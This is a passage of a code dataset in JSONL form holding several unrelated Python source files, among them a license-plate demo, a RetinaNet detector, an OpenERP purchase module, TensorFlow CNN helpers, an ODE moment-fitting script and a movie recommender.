argspace.img_dir is None:\n self.demoVideo(**kwargs)\n else:\n self.demoPhotos()\n # 统计执行的时长\n globalTimeSeconds = time.time() - globalStartTime\n globalTimeHours = globalTimeSeconds // 3600\n globalTimeMinutes = (globalTimeSeconds - globalTimeHours * 3600) // 60\n globalTimeSeconds = globalTimeSeconds % 60\n globalTime = '%d时%d分%.3f秒' % (\n globalTimeHours, globalTimeMinutes, globalTimeSeconds) if globalTimeHours != 0 else '%d分%.3f秒' % (\n globalTimeMinutes, globalTimeSeconds)\n print('总用时:' + globalTime)\n self.signals.threadExitSignal.emit()\n\n # 初始化\n fontC = ImageFont.truetype(\"./Font/platech.ttf\", 14, 0)\n model = pr.LPR(\"./model/cascade.xml\", \"./model/model12.h5\", \"./model/ocr_plate_all_gru.h5\")\n binary = Serialization()\n tracker = Tractor(1) # 设为1,意为禁用追踪功能\n\n\nif __name__ == '__main__':\n args = getArgumentParser().parse_args()\n main = Main.getInstance()\n main.start(args)\n # python -m cProfile -s cumulative demo.py >> profile.log\n","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":30946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"33498409","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport unittest\n\nfrom lambda_examples.example_3 import lambda_handler\n\n\nclass TestExample1(unittest.TestCase):\n\n def test_valid(self):\n \"\"\"\n -> Pass matching number and code arguments\n <- Should return true\n \"\"\"\n\n arguments = dict(\n number='(541) 555-4842',\n code='ZQ'\n )\n self.assertTrue(lambda_handler(arguments, None)['result'])\n\n def test_invalid(self):\n \"\"\"\n -> Pass mismatched number and code arguments\n <- Should return false\n \"\"\"\n\n arguments = dict(\n number='612.555.0123',\n code='ABCDEFG'\n )\n self.assertFalse(lambda_handler(arguments, None)['result'])\n\n def test_illegal_character(self):\n \"\"\"\n -> Pass code with illegal character\n <- Should raise exception\n \"\"\"\n\n arguments = dict(\n number='612.555.0123',\n code='A@B'\n )\n\n with self.assertRaises(Exception):\n lambda_handler(arguments, None)\n\n\n################################################################################\n################################################################################\n\nif __name__ == '__main__':\n suite = unittest.TestLoader().loadTestsFromTestCase(TestExample1)\n unittest.TextTestRunner(verbosity=2).run(suite)\n\n\n\n\n","sub_path":"Lambda_API_Examples/lambda_examples/test/test_example_3.py","file_name":"test_example_3.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"502958429","text":"from .single_stage import SingleStageDetector\nfrom ..registry import DETECTORS\n\n\n@DETECTORS.register_module\nclass RetinaNet(SingleStageDetector):\n\n def __init__(self,\n backbone,\n neck,\n bbox_head,\n train_cfg=None,\n test_cfg=None,\n pretrained=None):\n super(RetinaNet, self).__init__(backbone, neck, bbox_head, train_cfg,\n test_cfg, pretrained)\n\n\n@DETECTORS.register_module\nclass RetinaDistillNet(RetinaNet):\n def forward_train(self, img, img_metas, gt_bboxes, gt_labels,\n distill_targets, loss_weights):\n x = self.extract_feat(img)\n outs = self.bbox_head(x)\n losses = {}\n # There is guaranteed to be at least one input that has bboxes.\n for i in range(len(gt_bboxes)):\n idx = [j for j in range(len(gt_bboxes[i]))\n if gt_bboxes[i][j].size()[0] > 0]\n if len(idx) == 0:\n continue\n curr_loss_weights = [loss_weights[j][i] for j in idx]\n curr_outs = tuple([[outs[k][n][idx] for n in range(len(outs[k]))] for k in range(len(outs))])\n loss_inputs = curr_outs + ([gt_bboxes[i][j] for j in idx],\n [gt_labels[i][j] for j in idx],\n [distill_targets[i][j] for j in idx],\n [img_metas[j] for j in idx], self.train_cfg)\n loss_dict = self.bbox_head.loss(*loss_inputs)\n for key, loss_list in loss_dict.items():\n weighted_loss = [l * w for l, w in zip(loss_list, curr_loss_weights)]\n losses[key] = losses.get(key, []) + weighted_loss\n return losses\n","sub_path":"mmdet/models/detectors/retinanet.py","file_name":"retinanet.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"313527178","text":"\"\"\"Question 1-b\nModule related to rectangle\n\nThis module contains functions related to rectangle such as functions to find area and perimeter of a rectangle.\n\"\"\"\n\ndef get_rect_area(length, width):\n \"\"\"Module level function to compute and return area of a rectangle. \n \"\"\"\n length = (str)(length)\n width = (str)(width)\n if((length.isnumeric()) and (length.isnumeric())):\n length = (float)(length)\n width = (float)(width)\n area = length * width\n else:\n area = \"Invalid input, length and width must be numeric value\"\n return area\n\ndef get_rect_perimeter(length, width):\n \"\"\"Module level function to compute and return perimeter of a rectangle.\n \"\"\"\n length = (str)(length)\n width = (str)(width)\n if((length.isnumeric()) and (length.isnumeric())):\n length = (float)(length)\n width = (float)(width)\n perimeter = 2 * (length + width)\n else:\n perimeter = \"Invalid input, length and width must be numeric value\"\n return perimeter\n\n\n\n\n","sub_path":"session 4/package/geometry/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"376688699","text":"# -*- coding: utf-8 -*-\n\n#max = 10\n#sum = 0\ndef while_else(max=10,sum=0):\n while max > 0:\n sum += max\n max -= 1\n else:\n print('current max val is %s' %max)\n print('sum is %s' %sum) \n \ndef for_else(max=10,sum=0):\n for i in range(max):\n sum += i\n else:\n print('current max val is %s' %max)\n print('sum is %s' %sum) \nwhile_else() \n#for_else()\n","sub_path":"2-work/Zen/else_ex.py","file_name":"else_ex.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"545588057","text":"\n# -*- encoding: utf-8 -*-\n##############################################################################\n#\n# OpenERP, Open Source Management Solution\n# Copyright (C) 2004-2010 Tiny SPRL (http://tiny.be). All Rights Reserved\n# \n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see http://www.gnu.org/licenses/.\n#\n##############################################################################\n\nimport time\nimport pytz\nfrom openerp import SUPERUSER_ID\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\n\nfrom openerp.osv import fields, osv\nfrom openerp import netsvc\nfrom openerp import pooler\nfrom openerp.tools.translate import _\nimport openerp.addons.decimal_precision as dp\nfrom openerp.osv.orm import browse_record, browse_null\nfrom openerp.tools import DEFAULT_SERVER_DATE_FORMAT, DEFAULT_SERVER_DATETIME_FORMAT, DATETIME_FORMATS_MAP\n\nclass purchase_order(osv.osv):\n _inherit = 'purchase.order'\n \n _columns = {\n 'origin_unique': fields.many2one('sale.order', string='Source Document'),\n 'origin_f': fields.char(size=64, string='Source Document'),\n 'product': fields.related('order_line', 'product_id', relation='product.product', type='many2one', string='Producto', store=True),\n 'product_qty': fields.related('order_line', 'product_qty', type='float', relation='purchase.order.line', string='Cantidad'),\n 'price_unit': fields.related('order_line', 'price_unit', type='float', relation='purchase.order.line', string='Precio unitario'),\n 'product_discount': fields.related('order_line', 'discount', type='float', relation='purchase.order.line', string='Descuento (%)'),\n 'customer': fields.related('origin_unique', 'partner_id', relation='res.partner', type='many2one', string='Cliente', store=True),\n 'order_line': fields.one2many('purchase.order.line', 'order_id', 'Order Lines') #, states={'approved':[('readonly',True)],'done':[('readonly',True)]}), \n }\n \n _defaults = {\n 'origin_f': 'n',\n } \n \n def print_quotation(self, cr, uid, ids, context=None):\n '''\n This function prints the request for quotation and mark it as sent, so that we can see more easily the next step of the workflow\n '''\n\n assert len(ids) == 1, 'This option should only be used for a single id at a time'\n\n self.write(cr, uid, ids[0], {'date_order': fields.date.context_today('purchase.order', cr, uid, context=context)})\n\n wf_service = netsvc.LocalService(\"workflow\")\n wf_service.trg_validate(uid, 'purchase.order', ids[0], 'send_rfq', cr)\n datas = {\n 'model': 'purchase.order',\n 'ids': ids,\n 'form': self.read(cr, uid, ids[0], context=context),\n }\n return {'type': 'ir.actions.report.xml', 'report_name': 'purchase.order', 'datas': datas, 'nodestroy': True}\n \n def onchange_origin(self, cr, uid, id, origin_unique, context=None):\n result = {}\n sale_order = self.pool.get('sale.order')\n order = sale_order.browse(cr, uid, origin_unique, context=context)\n result['origin'] = order.name\n result['origin_line'] = origin_unique\n \n return {'value' : result, 'warning': None}\n \n def _prepare_order_picking(self, cr, uid, order, context=None):\n if order.origin:\n return {\n 'name': self.pool.get('ir.sequence').get(cr, uid, 'stock.picking.in'),\n 'origin': order.name + ((order.origin and (':' + order.origin)) or ''),\n 'origin_f': order.name + ((order.origin and (':' + order.origin)) or ''),\n 'date': self.date_to_datetime(cr, uid, order.date_order, context),\n 'partner_id': order.dest_address_id.id or order.partner_id.id,\n 'invoice_state': '2binvoiced' if order.invoice_method == 'picking' else 'none',\n 'type': 'in',\n 'partner_id': order.dest_address_id.id or order.partner_id.id,\n 'purchase_id': order.id,\n 'company_id': order.company_id.id,\n 'move_lines' : [],\n }\n else:\n return {\n 'name': self.pool.get('ir.sequence').get(cr, uid, 'stock.picking.in'),\n 'origin_f': 'n',\n 'origin': order.name,\n 'origin_unique': order.name,\n 'date': self.date_to_datetime(cr, uid, order.date_order, context),\n 'partner_id': order.dest_address_id.id or order.partner_id.id,\n 'invoice_state': '2binvoiced' if order.invoice_method == 'picking' else 'none',\n 'type': 'in',\n 'partner_id': order.dest_address_id.id or order.partner_id.id,\n 'purchase_id': order.id,\n 'company_id': order.company_id.id,\n 'move_lines' : [],\n }\n \n def do_merge(self, cr, uid, ids, context=None):\n \"\"\"\n To merge similar type of purchase orders.\n Orders will only be merged if:\n * Purchase Orders are in draft\n * Purchase Orders belong to the same partner\n * Purchase Orders are have same stock location, same pricelist\n Lines will only be merged if:\n * Order lines are exactly the same except for the quantity and unit\n\n @param self: The object pointer.\n @param cr: A database cursor\n @param uid: ID of the user currently logged in\n @param ids: the ID or list of IDs\n @param context: A standard dictionary\n\n @return: new purchase order id\n\n \"\"\"\n #TOFIX: merged order line should be unlink\n wf_service = netsvc.LocalService(\"workflow\")\n def make_key(br, fields):\n list_key = []\n for field in fields:\n field_val = getattr(br, field)\n if field in ('product_id', 'move_dest_id', 'account_analytic_id'):\n if not field_val:\n field_val = False\n if isinstance(field_val, browse_record):\n field_val = field_val.id\n elif isinstance(field_val, browse_null):\n field_val = False\n elif isinstance(field_val, list):\n field_val = ((6, 0, tuple([v.id for v in field_val])),)\n list_key.append((field, field_val))\n list_key.sort()\n return tuple(list_key)\n\n # Compute what the new orders should contain\n\n new_orders = {}\n\n for porder in [order for order in self.browse(cr, uid, ids, context=context) if order.state == 'draft']:\n order_key = make_key(porder, ('partner_id', 'location_id', 'pricelist_id'))\n new_order = new_orders.setdefault(order_key, ({}, []))\n new_order[1].append(porder.id)\n order_infos = new_order[0]\n if not order_infos:\n order_infos.update({\n 'origin': porder.origin,\n 'origin_f': porder.origin,\n 'date_order': porder.date_order,\n 'partner_id': porder.partner_id.id,\n 'dest_address_id': porder.dest_address_id.id,\n 'warehouse_id': porder.warehouse_id.id,\n 'location_id': porder.location_id.id,\n 'pricelist_id': porder.pricelist_id.id,\n 'state': 'draft',\n 'order_line': {},\n 'notes': '%s' % (porder.notes or '',),\n 'fiscal_position': porder.fiscal_position and porder.fiscal_position.id or False,\n })\n else:\n if porder.date_order < order_infos['date_order']:\n order_infos['date_order'] = porder.date_order\n if porder.notes:\n order_infos['notes'] = (order_infos['notes'] or '') + ('\\n%s' % (porder.notes,))\n if porder.origin:\n order_infos['origin_f'] = (order_infos['origin'] or '') + ' ' + porder.origin\n order_infos['origin'] = order_infos['origin_f']\n\n for order_line in porder.order_line:\n line_key = make_key(order_line, ('name', 'date_planned', 'taxes_id', 'price_unit', 'product_id', 'move_dest_id', 'account_analytic_id'))\n o_line = order_infos['order_line'].setdefault(line_key, {})\n if o_line:\n # merge the line with an existing line\n o_line['product_qty'] += order_line.product_qty * order_line.product_uom.factor / o_line['uom_factor']\n else:\n # append a new \"standalone\" line\n for field in ('product_qty', 'product_uom', 'origin_line'):\n field_val = getattr(order_line, field)\n if isinstance(field_val, browse_record):\n field_val = field_val.id\n o_line[field] = field_val\n o_line['uom_factor'] = order_line.product_uom and order_line.product_uom.factor or 1.0\n\n\n\n allorders = []\n orders_info = {}\n for order_key, (order_data, old_ids) in new_orders.iteritems():\n # skip merges with only one order\n if len(old_ids) < 2:\n allorders += (old_ids or [])\n continue\n\n # cleanup order line data\n for key, value in order_data['order_line'].iteritems():\n del value['uom_factor']\n value.update(dict(key))\n order_data['order_line'] = [(0, 0, value) for value in order_data['order_line'].itervalues()]\n\n # create the new order\n neworder_id = self.create(cr, uid, order_data)\n orders_info.update({neworder_id: old_ids})\n allorders.append(neworder_id)\n\n # make triggers pointing to the old orders point to the new order\n for old_id in old_ids:\n wf_service.trg_redirect(uid, 'purchase.order', old_id, neworder_id, cr)\n wf_service.trg_validate(uid, 'purchase.order', old_id, 'purchase_cancel', cr)\n return orders_info\n\n def wkf_send_rfq(self, cr, uid, ids, context=None):\n for id in [ids]:\n rec = self.browse(cr, uid, id, context=context)\n self.write(cr, uid, id, {'date_order': fields.date.context_today('purchase.order', cr, uid, context=context)})\n return super(purchase_order, self).wkf_send_rfq(cr, uid, id, context=context)\n \n def wkf_confirm_order(self, cr, uid, ids, context=None):\n \n purchase = self.browse(cr, uid, ids, context=context)\n \n #Comprobación del estado RFQ.\n for object in purchase:\n if object.state != 'sent':\n raise osv.except_osv(_('Warning. RFQ not sent!'),_(\"No puedes confirmar el pedido sin haber enviado la RFQ\"))\n return\n \n super(purchase_order,self).wkf_confirm_order(cr, uid, ids, context=context)\n\n \n \nclass purchase_order_line(osv.osv):\n _inherit = 'purchase.order.line'\n \n _columns = {\n 'sequence': fields.integer('Sequence', help=\"Gives the sequence order when displaying a list of sales order lines.\"),\n 'origin_line' : fields.many2one('sale.order', string='Source Document', readonly=False),\n }\n\n _defaults = {\n 'sequence': 10,\n }\n \n _order = 'order_id desc, sequence, id'\n \n \n","sub_path":"purchase.py","file_name":"purchase.py","file_ext":"py","file_size_in_byte":12093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"425491723","text":"import tensorflow as tf\r\n\r\ndef convolutionL2(img_size, out_classes, num_channels, filter_size1, num_filters1, filter_size2, num_filters2, fc_size, test=False, logAcc=False):\r\n\r\n features = img_size * img_size\r\n # ### Placeholder variables\r\n x = tf.placeholder(tf.float32, shape=[None, features], name='x')\r\n # The convolutional layers expect `x` to be encoded as a 4-dim tensor so we have to reshape it so its shape is instead `[num_images, img_height, img_width, num_channels]`. Note that `img_height == img_width == img_size` and `num_images` can be inferred automatically by using -1 for the size of the first dimension. So the reshape operation is:\r\n x_image = tf.reshape(x, [-1, img_size, img_size, num_channels])\r\n # ### Convolutional Layer 1\r\n layer_conv1, weights_conv1 = new_conv_layer(input=x_image,\r\n num_input_channels=num_channels,\r\n filter_size=filter_size1,\r\n num_filters=num_filters1,\r\n use_pooling=True)\r\n\r\n # ### Convolutional Layer 2\r\n layer_conv2, weights_conv2 = new_conv_layer(input=layer_conv1,\r\n num_input_channels=num_filters1,\r\n filter_size=filter_size2,\r\n num_filters=num_filters2,\r\n use_pooling=True)\r\n\r\n # ### Flatten Layer\r\n layer_flat, num_features = flatten_layer(layer_conv2)\r\n\r\n # ### Fully-Connected Layer 1\r\n layer_fc1 = new_fc_layer(input=layer_flat,\r\n num_inputs=num_features,\r\n num_outputs=fc_size,\r\n use_relu=True)\r\n\r\n # ### Fully-Connected Layer 2\r\n layer_fc2 = new_fc_layer(input=layer_fc1,\r\n num_inputs=fc_size,\r\n num_outputs=out_classes,\r\n use_relu=False)\r\n\r\n # ### Predicted Class\r\n y_pred = tf.nn.softmax(layer_fc2)\r\n\r\n # The class-number is the index of the largest element.\r\n y_pred_cls = tf.argmax(y_pred, dimension=1)\r\n\r\n if test == True:\r\n return x, y_pred_cls\r\n else:\r\n if logAcc == True:\r\n return x, y_pred_cls, layer_fc2\r\n else:\r\n return x, logits\r\n\r\n# Functions for creating new TensorFlow variables in the given shape and initializing them with random values. Note that the initialization is not actually done at this point, it is merely being defined in the TensorFlow graph.\r\ndef new_weights(shape):\r\n return tf.Variable(tf.truncated_normal(shape, stddev=0.05))\r\n\r\ndef new_biases(length):\r\n return tf.Variable(tf.constant(0.05, shape=[length]))\r\n\r\n# ### Helper-function for creating a new Convolutional Layer\r\ndef new_conv_layer(input, # The previous layer.\r\n num_input_channels, # Num. channels in prev. layer.\r\n filter_size, # Width and height of each filter.\r\n num_filters, # Number of filters.\r\n use_pooling=True): # Use 2x2 max-pooling.\r\n\r\n # Shape of the filter-weights for the convolution.\r\n # This format is determined by the TensorFlow API.\r\n shape = [filter_size, filter_size, num_input_channels, num_filters]\r\n\r\n # Create new weights aka. filters with the given shape.\r\n weights = new_weights(shape=shape)\r\n\r\n # Create new biases, one for each filter.\r\n biases = new_biases(length=num_filters)\r\n\r\n # Create the TensorFlow operation for convolution.\r\n # Note the strides are set to 1 in all dimensions.\r\n # The first and last stride must always be 1,\r\n # because the first is for the image-number and\r\n # the last is for the input-channel.\r\n # But e.g. strides=[1, 2, 2, 1] would mean that the filter\r\n # is moved 2 pixels across the x- and y-axis of the image.\r\n # The padding is set to 'SAME' which means the input image\r\n # is padded with zeroes so the size of the output is the same.\r\n layer = tf.nn.conv2d(input=input,\r\n filter=weights,\r\n strides=[1, 1, 1, 1],\r\n padding='SAME')\r\n\r\n # Add the biases to the results of the convolution.\r\n # A bias-value is added to each filter-channel.\r\n layer += biases\r\n\r\n # Use pooling to down-sample the image resolution?\r\n if use_pooling:\r\n # This is 2x2 max-pooling, which means that we\r\n # consider 2x2 windows and select the largest value\r\n # in each window. Then we move 2 pixels to the next window.\r\n layer = tf.nn.max_pool(value=layer,\r\n ksize=[1, 2, 2, 1],\r\n strides=[1, 2, 2, 1],\r\n padding='SAME')\r\n\r\n # Rectified Linear Unit (ReLU).\r\n # It calculates max(x, 0) for each input pixel x.\r\n # This adds some non-linearity to the formula and allows us\r\n # to learn more complicated functions.\r\n layer = tf.nn.relu(layer)\r\n\r\n # Note that ReLU is normally executed before the pooling,\r\n # but since relu(max_pool(x)) == max_pool(relu(x)) we can\r\n # save 75% of the relu-operations by max-pooling first.\r\n\r\n # We return both the resulting layer and the filter-weights\r\n # because we will plot the weights later.\r\n return layer, weights\r\n\r\n# ### Helper-function for flattening a layer\r\ndef flatten_layer(layer):\r\n # Get the shape of the input layer.\r\n layer_shape = layer.get_shape()\r\n\r\n # The shape of the input layer is assumed to be:\r\n # layer_shape == [num_images, img_height, img_width, num_channels]\r\n\r\n # The number of features is: img_height * img_width * num_channels\r\n # We can use a function from TensorFlow to calculate this.\r\n num_features = layer_shape[1:4].num_elements()\r\n\r\n # Reshape the layer to [num_images, num_features].\r\n # Note that we just set the size of the second dimension\r\n # to num_features and the size of the first dimension to -1\r\n # which means the size in that dimension is calculated\r\n # so the total size of the tensor is unchanged from the reshaping.\r\n layer_flat = tf.reshape(layer, [-1, num_features])\r\n\r\n # The shape of the flattened layer is now:\r\n # [num_images, img_height * img_width * num_channels]\r\n\r\n # Return both the flattened layer and the number of features.\r\n return layer_flat, num_features\r\n\r\ndef new_fc_layer(input, # The previous layer.\r\n num_inputs, # Num. inputs from prev. layer.\r\n num_outputs, # Num. outputs.\r\n use_relu=True): # Use Rectified Linear Unit (ReLU)?\r\n\r\n # Create new weights and biases.\r\n weights = new_weights(shape=[num_inputs, num_outputs])\r\n biases = new_biases(length=num_outputs)\r\n\r\n # Calculate the layer as the matrix multiplication of\r\n # the input and weights, and then add the bias-values.\r\n layer = tf.matmul(input, weights) + biases\r\n\r\n # Use ReLU?\r\n if use_relu:\r\n layer = tf.nn.relu(layer)\r\n\r\n return layer\r\n","sub_path":"models/convolutionL2/convolutionL2.py","file_name":"convolutionL2.py","file_ext":"py","file_size_in_byte":7002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"273552087","text":"import sys\nimport os\nfrom pathlib import Path\nimport numpy as np \nimport torch\nimport matplotlib.pyplot as plt\nfrom torchdiffeq import odeint_adjoint as odeint\n\nworkdir = Path(__file__).resolve().parent.parent.parent\nsys.path.append(str(workdir))\nfrom import_utils import add_path\n\nadd_path('pyssa')\n#pyssa_path = '/Users/christian/Documents/Code/pyssa'\n#sys.path.append(pyssa_path)\nimport pyssa.util as ut\n\ntorch.set_default_dtype(torch.float64)\ntorch.manual_seed(2008181715)\n\n# load data\nload_path = os.path.dirname(os.path.realpath(__file__)) + '/data.npz'\ndata = np.load(load_path)\nmoment_initial = torch.from_numpy(data['moment_initial'])\nrates = data['rates']\nA_true = data['A_true']\nb_true = data['b_true']\nnum_samples = data['num_samples']\ntspan = data['tspan']\nt_plot = data['t_plot']\ndelta_t = data['delta_t']\nt_obs = data['t_obs']\nstates_rre = data['states_rre']\nstates_mb = data['states_mb']\nnum_steps, num_species = data['states_plot_0'].shape\n\ntrajectories = np.zeros((num_samples, num_steps, num_species))\nfor i in range(num_samples):\n trajectories[i] = data['states_plot_{}'.format(i)]\ntrajectories = trajectories[:, :, 1:]\nnum_species = num_species-1\nstates_ssa = data['states_plot_0']\n\ndef get_moments(trajectories):\n mean_ssa, cov_ssa = ut.get_stats(trajectories)\n states_mean = np.concatenate([mean_ssa, np.stack([cov_ssa[:, i, j] for i in range(3) for j in range(i, 3)]).T], axis=1)\n return(states_mean)\n\n\n# get noise estimates via bootstrapping\nbatch_size = 100\nnum_iter = 1000\nstates_mean = np.zeros((num_steps, int(num_species*(num_species+3)/2)))\nstates_err = np.zeros((num_steps, int(num_species*(num_species+3)/2)))\nnp.random.seed(2008181434)\nfor i in range(num_iter):\n samples = np.random.randint(num_samples, size=(batch_size,))\n tmp = trajectories[samples]\n mean_tmp = get_moments(tmp)\n states_mean += mean_tmp/num_iter\nnp.random.seed(2008181434)\nfor i in range(num_iter):\n samples = np.random.randint(num_samples, size=(batch_size,))\n tmp = trajectories[samples]\n mean_tmp = get_moments(tmp)\n states_err += (mean_tmp-states_mean)**2/num_iter\nstates_err = np.sqrt(states_err)\n\n# set up model \nclass LinearODE(torch.nn.Module):\n\n def __init__(self, A, b):\n super(LinearODE, self).__init__()\n self.A = torch.nn.Parameter(A.clone())\n self.b = torch.nn.Parameter(b.clone())\n\n def forward(self, time, state):\n dydt = self.A @ state + self.b\n return(dydt)\n\n# set up model\nmodel = LinearODE(torch.zeros(A_true.shape), torch.zeros(b_true.shape))\n\n# optimizer \nparams = model.parameters()\noptimizer = torch.optim.Adam(params, lr=1e-4, amsgrad=True)\n#optimizer = torch.optim.SGD(params, lr=1e-11, momentum=0.9)\n\n#set up dataload\ndataloader = torch.utils.data.DataLoader(trajectories, batch_size=batch_size, shuffle=True)\n\ndef l1(model):\n loss = 0.0\n for p in model.parameters():\n loss += torch.abs(p).sum()\n return(loss)\n\ndef loss_fn(model, data):\n predict = odeint(model, moment_initial, torch.from_numpy(t_plot))\n empirical = torch.from_numpy(get_moments(data.numpy()))\n loss = torch.sum(((predict-empirical)/torch.from_numpy(1e-2+states_err))**2)/batch_size\n return(loss)\n\ndef closure():\n if torch.is_grad_enabled():\n optimizer.zero_grad()\n loss = loss_fn(model, data) #+ 10*l1(model)\n if loss.requires_grad:\n try:\n loss.backward()\n except:\n print(\"Error during backpropgation\")\n return(loss)\n\n\n# perform training\nmax_epoch = 200\nloss_history = []\nsave_path = os.path.dirname(os.path.realpath(__file__)) + '/learn_linear_ode_minibatch.pt'\nmsg = 'Loss in epoch {0} is {1}'\nfor epoch in range(max_epoch):\n running_loss = 0.0\n for data in dataloader:\n loss = optimizer.step(closure)\n running_loss += loss.item()*(batch_size/num_samples)\n # with torch.no_grad():\n # test = l1(model)\n print(loss.item())\n # print(test.item())\n loss_history.append(running_loss)\n print(msg.format(epoch, running_loss))\n # save\n torch.save({'epoch': epoch,\n 'model_state_dict': model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'loss_history': torch.tensor(loss_history),\n 'states_mean': torch.from_numpy(states_mean),\n 'states_err': torch.from_numpy(states_err)}, save_path)\nwith torch.no_grad():\n sol_final = odeint(model, moment_initial, torch.from_numpy(t_plot))\nprint(loss_history)\n\n# for i in range(9):\n# plt.subplot(3, 3, i+1)\n# plt.plot(t_plot, states_mean[:, i], '-g')\n# #plt.plot(t_plot, states_mb[:, i], '-r')\n# plt.plot(t_plot, sol_final[:, i], '-r')\n# plt.fill_between(t_plot, states_mean[:, i] - states_err[:, i], states_mean[:, i] + states_err[:, i], color='g', alpha=0.2)\n# plt.show()\n","sub_path":"examples/gene_expression/learn_linear_ode_minibatch.py","file_name":"learn_linear_ode_minibatch.py","file_ext":"py","file_size_in_byte":4843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"14360399","text":"\nimport pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import linear_kernel\n\n#Añadimos los datos para analizar con el recommendador\n\ndef get_recommendations(title,data):\n \n #data = pd.read_csv(\"../data/data_best_ratings.csv\",low_memory=False)\n\n \n #Construir un mapa inverso de índices y títulos de películas\n indices = pd.Series(data.index, index=data['original_title']).drop_duplicates()\n \n # Obtenemos el índice de la película que coincide con el título\n \n # Control de errores por si no está la película o esta mal escrita\n \n '''try:\n idx = indices[title]\n print(idx)\n except:\n return {\n 'status':500,\n 'error_msg': f'Title {title} not found',\n 'data': []\n }\n '''\n\n \n idx = indices[title]\n\n tfidf = TfidfVectorizer(stop_words='english')\n \n #Construimos la matrix TF-IDF\n tfidf_matrix = tfidf.fit_transform(data['description'])\n \n #Cosine similarity\n cosine_sim = linear_kernel(tfidf_matrix, tfidf_matrix)\n \n\n # Obtenemos las puntuaciones de similitud por pares de todas las películas con esa película\n sim_scores = list(enumerate(cosine_sim[idx]))\n \n \n # Ordenamos las películas según las puntuaciones de similitud\n sim_scores = sorted(sim_scores, key=lambda x: x[1], reverse=True)\n\n # Obtemos las puntuaciones de las 10 películas más similares\n sim_scores = sim_scores[1:11]\n\n # Obtenemos los índices de películas\n movie_indices = [i[0] for i in sim_scores]\n \n titles_dict = []\n for i in movie_indices:\n titles_dict.append({\n 'title': data['original_title'].iloc[i],\n })\n \n return titles_dict\n\n","sub_path":"src/npl.py","file_name":"npl.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"399702678","text":"import wx\nfrom cscience import datastore\nfrom cscience.framework.datastructures import GraphableData\ndatastore = datastore.Datastore()\n\n\nclass PointSet(GraphableData):\n \"\"\"\n A glorified list of points.\n \"\"\"\n\n def __init__(self,\n plotpoints,\n vname=None,\n ivarname=None,\n run=None,\n spline=None,\n label=None):\n self.plotpoints = sorted(plotpoints, key=lambda p: p.x)\n self.variable_name = vname\n self.independent_var_name = ivarname\n self.ignored_points = set()\n self.selected_point = None\n self.flipped = False\n self.run = run\n self.label = \"%s (%s)\" % (vname, label)\n self.spline = spline\n\n def x_selection(self):\n return self.selected_point.x\n\n def y_selection(self):\n return self.selected_point.y\n\n def flip(self):\n def flip(point):\n ret = PlotPoint(point.y, point.x, point.yorig, point.xorig,\n point.sample)\n return ret\n\n ret = PointSet([flip(i) for i in self.plotpoints])\n ret.variable_name = self.independent_var_name\n ret.independent_var_name = self.variable_name\n ret.ignored_points = self.ignored_points\n ret.run = self.run\n ret.label = self.label\n return ret\n\n def __getitem__(self, i):\n return self.plotpoints[i]\n\n def ignore_point(self, point_idx):\n self.ignored_points.add(point_idx)\n\n def unignore_point(self, point_idx):\n self.ignored_points.discard(point_idx)\n\n def unzip_without_ignored_points(self):\n ret = ([], [], [], [])\n for idx, point in enumerate(self.plotpoints):\n if idx not in self.ignored_points:\n ret[0].append(point.x)\n ret[1].append(point.y)\n ret[2].append(point.xorig)\n ret[3].append(point.yorig)\n return ret\n\n def unzip_ignored_points(self):\n ret = ([], [], [], [])\n for idx in self.ignored_points:\n ret[0].append(self.plotpoints[idx].x)\n ret[1].append(self.plotpoints[idx].y)\n ret[2].append(self.plotpoints[idx].xorig)\n ret[3].append(self.plotpoints[idx].yorig)\n return ret\n\n def unzip_points(self):\n \"\"\"\n Returns a 4-tuple of lists of x, y, xorig, yorig\n \"\"\"\n numpts = len(self.plotpoints)\n ret = ([None] * numpts, [None] * numpts, [None] * numpts,\n [None] * numpts)\n for ind, pt in enumerate(self.plotpoints):\n ret[0][ind] = pt.x\n ret[1][ind] = pt.y\n ret[2][ind] = pt.xorig\n ret[3][ind] = pt.yorig\n return ret\n\n def graph_self(self, plot, options, error_bars=True, ignored=None):\n (xs, ys, xorig, yorig) = self.unzip_points()\n (interp_xs, interp_ys, _, _) = self.unzip_without_ignored_points()\n (xigored, yignored, _, _) = self.unzip_ignored_points()\n\n if ignored is not None and type(ignored) is not tuple:\n for point in ignored:\n xigored.append(point['depth'].magnitude)\n yignored.append(point['14C Age'].magnitude)\n\n if error_bars:\n y_err = []\n for val in yorig:\n try:\n y_err.append(float(val.uncertainty))\n except (IndexError, AttributeError):\n y_err = []\n\n if options.fmt:\n plot.plot(\n xs,\n ys,\n options.fmt,\n color=options.color,\n label=self.label,\n 